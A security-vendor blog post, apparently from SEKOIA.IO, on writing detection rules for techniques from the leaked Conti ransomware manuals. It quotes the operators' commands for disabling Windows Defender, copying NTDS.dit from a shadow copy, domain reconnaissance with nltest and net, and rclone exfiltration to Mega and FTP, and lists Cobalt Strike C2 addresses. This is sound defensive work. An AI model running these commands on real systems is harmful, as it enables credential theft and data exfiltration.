Table of contents
The first blog post was focusing on Conti’s evolution and the leak’s context and analysis. In this second blog post, we will look into how to make simple detection rules to detect the techniques shown in the Conti manuals. The techniques are simple for most of them, with no obfuscation and classic techniques being used, hence why simple detection rules are possible.
For that, we picked a few techniques that we will explain, and link them to existing rules to show that open-source detection techniques already exist for such a threat and can be used to help all the companies prevent that. However, please note that even though simple rules can detect Conti operations as displayed in the manuals, it does not mean it will detect future Conti intrusions or other ransomware actors. The techniques are important and should be explored in depth to make better detection rules.
Let’s detect Conti’s techniques!
Disable Windows Defender using PowerShell (T1562.001)
The command used to Disable Windows Defender by the Conti operators is the following one:
Set-MpPreference -DisableRealtimeMonitoring $true
They use PowerShell and the command “Set-MpPreference” that is used to configure preferences for Windows Defender scans and updates on the whole system, instead of “Add-MpPreference” that modifies the settings of Windows Defender and is often used to whitelist a specific path from being scanned by Windows Defender.
A thing to note here is that the Conti operators seem to disable ONLY “RealTimeMonitoring”, whereas most of the actors also disable “BehaviorMonitoring”.
Although there are lots of ways to disable Windows Defender, this is a widely used technique and therefore a good detection opportunity. Indeed, this is used by many other ransomware actors, but also APT actors such as Lazarus, as shown in the F-Secure blogpost¹.
A Sigma rule to detect this is provided as well with the blogpost and its GitHub repository².
This is great as it allows such a threat to be detected with only Event ID 1 from SYSMON or Event ID 4688 from Windows for example.
In SEKOIA.IO we have a similar rule to detect this technique, however as written in the introduction to this blog post, the command itself is not really important, what’s important is the technique: Disabling Windows Defender. Therefore we looked into the TTP in depth to check what techniques can be used to disable Windows Defender and built rules on that.
To give a few examples, Windows Defender can be disabled using the command “sc” or through registry keys directly as well. Its legitimate executable “MpCmdRun.exe” can also be used to remove all signatures within Windows Defender, making it not really disabled but quite useless for detection.
Here is how Windows Defender being disabled using PowerShell is shown on a SEKOIA.IO alert:
Detection of Windows Defender deactivation in SEKOIA.IO
Retrieve NTDS file from Volume Shadow Copy (T1003.003)
Dumping the “NTDS.dit” file from the Active Directory is a very common method to extract password hashes of all the domain members. To achieve this, various tools or techniques can be used. The one performed by Conti operators is based on the copy of the “NTDS.dit” file from a Volume Shadow Copy.
Conti operators are not the only ones to use that technique. MITRE ATT&CK is listing some software and groups using this technique, named “OS Credential Dumping: NTDS”³. These threat actors include FIN6, Fox Kitten, and Mustang Panda.
The widely used technique detailed in the Conti manual consists in finding a Shadow Copy on the Active Directory and then copying the “NTDS.dit” file. In case no Shadow Copy exists, the Conti operators create one using the “vssadmin” command. The command lines used by the operators are the following ones:
wmic /node:”DC01″ /user:”DOMAIN\admin” /password:”cleartextpass” process call create “cmd /c vssadmin list shadows >> c:\log.txt”
OR
wmic /node:”DC01″ /user:”DOMAIN\admin” /password:”cleartextpass” process call create “cmd /c vssadmin create shadow /for=C: 2>&1”
THEN
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\programdata
The detection of the NTDS.dit file dump using Volume Shadow Copy can be achieved at different steps.
First, monitoring suspicious “vssadmin” execution may reveal the creation, the deletion or the listing of Shadow copies. While creating Shadow copies is a common solution used to perform regular backups, listing and deleting Shadow copies are much rarer.
Detection rule can be done on the Microsoft-Windows-Security-Auditing Event ID 4688 (A new process has been created) by looking for the process name “vssadmin.exe” and suspicious command line arguments, which could be “delete shadows”, “list shadows”, “create shadow /for=C:”. The Event ID 1 (Process creation) from Sysmon can also be used with the fields “Image” and “CommandLine”.
Second, detecting activities related to the “NTDS.dit” file would be efficient to identify attacker behaviors. To do this, a solution is monitoring command lines that contain the command “copy” and the “NTDS.dit” file path “\Windows\NTDS\NTDS.dit”. Again, the Windows Event Event ID 4688 and Sysmon Event ID 1 allow this. Sysmon can also be used to detect the creation of this file using the Event ID 11 (FileCreate) and checking if the “TargetFilename” matches “*NTDS.dit” in case the attacker doesn’t rename it.
A Sigma rule⁴ provides elements to detect the technique used by Conti operators.
Other ways to dump “NTDS.dit” file are possible, using the built-in Windows tools (esentutl, ntdsutil) or penetration testing tools (Mimikatz, Koadic, CrackMapExec, …). Again, their execution can be detected using Windows and Sysmon events.
We replayed the commands on a Windows machine supervised by the SEKOIA.IO XDR. Here are two alerts that have been raised:
Detection of Shadow Copies listing on SEKOIA.IO
Detection of the copy of NTDS.dit file on SEKOIA.IO
Identify domains using Nltest (T1482)
Conti operators used the Windows built-in command “nltest.exe” to identify Domain Controllers (DCs) and “trusts” relationships. As their name says, Domain Controllers are servers that can “control” a Windows Domain and therefore this command is commonly used by attackers as it is a quick, built-in way to enumerate servers of great interest.
The trust relationship is a link between domains or forests in a Windows environment. When this link is set up between two domains for instance, domain A can access resources in domain B. It is way more complex than that though as there can be one-way trust or two-ways trust, … We recommend reading the Microsoft documentation⁵ for more details and this great blogpost⁶ by @harmjoy which covers many techniques used to abuse domain trusts.
Although being built-in, the “nltest” command is surprisingly not used much for legitimate usage by users/administrators, which makes it a great detection opportunity! Here are the exact commands used by the Conti operators:
nltest /DOMAIN_TRUSTS
nltest /dclist:”NameDomain”
nltest /domain_trusts /all_trusts
These three commands do the following:
- Returns a list of trusted domains.
- Returns all Domain Controllers on a specific domain (NameDomain here)
- Returns all trusted domains.
Again, as these commands are commonly used and really simple, a public Sigma rule⁷ already exists for this and can be used to detect all three commands.
This rule can be used with only the Windows Event ID 4688 or Sysmon Event ID 1.
Other techniques can be used to retrieve similar information such as “dsquery.exe”, as it can be observed in the Sigma rule, which is also a legitimate built-in Windows executable. One other quick win is to take a look at PowerShell commands that can be used as well to retrieve a list of Domain Controllers for a domain, although that is more commonly used and can lead to some false positives.
Here is how an alert regarding that technique is shown on SEKOIA.IO:
Detection of domain trusts discovery using the “nltest” command
Mars, a red-hot information stealer
Identify remote systems using net command (T1018)
Conti operators executed the following commands (SEKOIA removed explicit information on hostnames and usernames):
net view \\[DC_SERVER] /all 1>>c:\programdata\sh.txt
net view \\[HOSTNAME] /ALL
net view /all /domain
net view \\host /ALL
net view \\172.16.1.40 /ALL
net user [USERNAME] /dom
net user [USERNAME] /domain
net user Администратор /active:yes
net group “domain admins” /domain
net accounts /dom
There are several things to note in these commands.
The first one is that once, they use the operator “1>>” to redirect command output into a file. Redirecting output to a file on Windows is already not necessarily common but still can lead to quite a lot of false positives depending on the Estates, however it is mainly done by using only “>” or “>>”, not “1>>”.
There is an awesome quick win here: checking for “1>>” in the command line argument.
The second thing is that even though most of the listed commands are very commonly used in a corporate environment, the following one can have a higher detection rate:
net group “domain admins” /domain
Indeed, this is a bit less common to see that command in corporate environments and therefore this can be used for detection. This is also a rule available publicly on the Sigma repository⁸ and can be detected with the Windows Event ID 4688 or Sysmon Event ID 1 as well. Depending on your Estate’s activity, you might be able to remove the time and count conditions in the rule to be more specific and be able to catch an attacker using this command a single time. Although note that this might lead to some false positives and this should definitely be adapted to your corporate environment.
Except that, all the commands are very commonly used in a corporate environment. They are discovery / reconnaissance commands and should still be detected in our opinion, however with a low “score” / “urgency”. As shown above with the Sigma rule though, it can be a good thing to have a higher score if the commands are executed on the same host multiple times in a row in a few seconds. Note that seeing only one of these commands should not be a “red flag”, however it is still useful to have a rule for it in case other rules match.
Let’s take a quick example with only the commands above. There are 10 commands listed. Assuming the 10 are executed (even if that will probably not be the case), the created rules will match 10 times.
At SEKOIA.IO we use an urgency “score” that represents the criticality of an alert and if it should be dealt with right away or not. We also have a “similarity” system, which will give us how many times a rule has matched on the same host.
Therefore, if several commands are executed on the same host, and each command matches the same rule, we will still have a low urgency score however we will have a high “similarity” number.
In case only one command is executed, we will have one alert with one event and 0 similarity, hence we will know that it is most likely a false positive if no other rule matches as well.
However when the 10 commands are executed, we will have either:
- one alert with 10 similarities if the commands are executed on the same host
- 10 alerts otherwise
Either way, this is already a bit suspicious. Following that, we will analyse the events and check if there are other suspicious events on the same host / surrounding those commands overall. And this is only the discovery step, so many other alerts, as shown in this blogpost for example, will (likely) be raised!
Everything above is just here to say one thing: every step of the MITRE ATT&CK matrix is worth being detected. False positives can always be avoided / reduced and not detecting those techniques (and especially the discovery techniques) could lead to a huge delay from the defenders to spot the attacker.
The detection of every command here is quite straightforward as well with just the detection of “net.exe”/”net1.exe” and each option for example and works with Windows Event ID 4688 and Sysmon Event ID 1 as well.
Here is a simple example that shows an alert on SEKOIA.IO when “net.exe” or “net1.exe” are used to discover shares:
Detection of network share discovery commands on SEKOIA.IO
Exfiltrate data using Rclone (T1567.002)
Rclone is a legitimate program to manage files on Cloud storage that is often used by ransomware operators performing double extortion. Indeed, it is a simple command-line tool that enables them to exfiltrate data from compromised systems to their storage system. In 2021, Rclone was observed in several ransomware attacks operated by Darkside, Egregor, Revil or Conti operators. This tool is rarely used in company IT environments. It is therefore relevant to look for its possible execution traces.
According to the leaked manual and a previous DFIR report⁹, Conti operators are using Rclone with a configuration file and without trying to disguise their activities. Indeed, they download the program directly from the official webpage and don’t obfuscate their commands:
rclone.exe config
rclone.exe config show
rclone.exe copy “FILES” Mega:Finanse -q –ignore-existing –auto-confirm –multi-thread-streams 12 –transfers 12
rclone.exe copy “FILES” ftp1:uploads/Users/ -q –ignore-existing
–auto-confirm –multi-thread-streams 3 –transfers 3
The Conti operators seem to use FTP servers and Mega service to exfiltrate victims’ data. This information is interesting to detect their activities in case Rclone is legitimately used in an IT environment, but with other Cloud storage than FTP and Mega.
Here are some ways to detect the Rclone usage on Windows systems:
- A basic way is to monitor process creation whose process name is “rclone.exe” by using Windows Event ID 4688 or Sysmon Event ID 1. This method is sufficient to detect operations performed by Conti operators.
- In case attackers masquerade the executable by renaming it, it remains possible to detect its execution using the same Windows or Sysmon events by searching in the “CommandLine” value for specific arguments sequences. For example, detecting the patterns “copy”, “mega:” and “–” (which corresponds to an additional flag) in the same command line is specific enough to find execution of a renamed Rclone binary. Of course, the pattern “mega:” can be replaced by “ftp:”, “pcloud:”, “s3” or any other storage services likely to receive data exfiltrated by an attacker.
- In case attackers masquerade the executable and use a Rclone configuration file instead of indicating the destination endpoint in the command line, it is possible to detect the arguments specific to Rclone usage. For example, looking for “–ignore-existing”, “–auto-confirm”, “–multi-thread-streams”, “–transfers”, “no-check-certificate” in addition to the argument “copy” may reveal Rclone execution.
Again, Sigma detection rules¹⁰ ¹¹ ¹² detecting Rclone execution are available in their GitHub repository.
A detection rule based on the three previously described cases has raised an alert in SEKOIA.IO XDR when playing the Conti operators’ commands to exfiltrate data using Rclone.
Detection of Rclone commands on SEKOIA.IO
Cobalt Strike (T*)
Cobalt Strike usage is a golden mine to detect a compromised network and was already covered in that previous blog post¹³.
On top of that, Cobalt Strike C2 (Command and Control servers) can often be spotted, depending on the configuration, using different sources (online and offline). In the leaks, 4 CobaltStrike IP addresses were provided: “162.244.80[.]235”, “85.93.88[.]165”, “185.141.63[.]120” and “82.118.21[.]1”.
Although after the leak they probably won’t be used as this is really easy to block for companies and now integrated into many feeds, what is useful is to spot the C2s BEFORE they are used in operations and overall before they are made publicly available.
At SEKOIA we are tracking adversary infrastructures to collect information on C2s using different sources. As an example, we had the Cobalt Strike C2s provided in the leak before they leaked (and therefore hopefully before they were used in any operation):
Where “MalleableC2” stands for specific profiles used by the Cobalt Strike team server and “Cobalt Strike” the default Cobalt Strike configuration. As displayed in the image, one C2 was spotted on July 12th, 2021 which is almost a month before the first leak. It is therefore quite useful to have this kind of capability on top of system and network classic detections as it gives another way to detect threats and usually companies can easily perform actions on IP addresses (& domain names).
Conclusion
This second blog post focused on the detection of the leaked Conti’s techniques. As stated several times, it shows that detecting ransomware operators’ actions before its execution is actually possible as there are multiple detection opportunities. Indeed, they use commands that are commonly seen among many attackers and they seem to not obfuscate the commands. In the end, it is still a good opportunity to fill any detection gaps if you have some and review the MITRE ATT&CK overall to study the techniques used by Conti more in depth to detect other actors that might use more complex techniques.
Our analysis leaves us with one question: will Conti operators change their modus operandi following the leaks or not?
Since the techniques used are already not really advanced but efficient, at SEKOIA we think that the leaks will not have much impact on the way Conti operates. As they aim for efficiency and money, they will still target companies carefully and then launch their ransomware as fast as they can. They probably won’t bother in changing the techniques since that costs money, most of the techniques were already known before the leaks in the different incident response reports and it still works today so, why bother?
Thank you for reading this article. You can also read our article on:
Chat with our team!
Would you like to know more about our solutions? Do you want to discover our XDR and CTI products? Do you have a cybersecurity project in your organization? Make an appointment and meet us!
